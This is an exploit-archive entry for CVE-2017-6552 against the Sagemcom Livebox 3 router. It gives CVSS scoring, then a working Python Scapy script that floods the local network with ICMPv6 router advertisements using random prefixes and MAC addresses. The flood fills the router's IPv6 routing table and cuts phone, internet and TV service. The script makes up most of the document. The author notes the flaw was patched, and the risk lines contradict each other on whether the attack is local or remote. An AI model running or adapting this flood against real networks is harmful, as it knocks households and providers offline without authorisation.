SG30_sip-fr- Livebox 3 Local DoS Buffer Overflow

Risk: Medium
Local: Yes
Remote: No

CVSS Base Score: 7.8/10
Impact Subscore: 6.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

#!/usr/bin/python # Exploit Title: CVE-2017-6552 - Local DoS Buffer Overflow Livebox 3 # Date: 09/03/2017 # Exploit Author: Quentin Olagne # Vendor Homepage: # Version: SG30_sip-fr- # Tested on: Livebox 3 - Sagemcom # CVE : CVE-2017-6552 ''' Livebox router has its default IPv6 routing table max. size too small and therefore can be filled within minutes. An attacker can exploit this issue to render the affected system unresponsive, resulting in a denial-of-service condition for Phone, Internet and TV services. Vulenrability has been discovered in April '16 and has been patched some time ago with the newest firmware. I have submitted the idea to have a button to enable/disable IPv6 stack on the local interface from the admin livebox web UI, don't know if it's been implemented. ''' from scapy.all import * import time import threading start_time = time.time() def printit(): threading.Timer(5.0, printit).start() interval = time.time() - start_time print 'Total time in seconds:', interval, '\n' printit() packet = Ether() \ /IPv6() \ /ICMPv6ND_RA() \ /ICMPv6NDOptPrefixInfo(prefix=RandIP6(),prefixlen=64) \ /ICMPv6NDOptSrcLLAddr(lladdr=RandMAC("00:01:42")) try: sendp(packet,loop=1) except KeyboardInterrupt: stored_exception=sys.exc_info() except: pass print "Goodbye"

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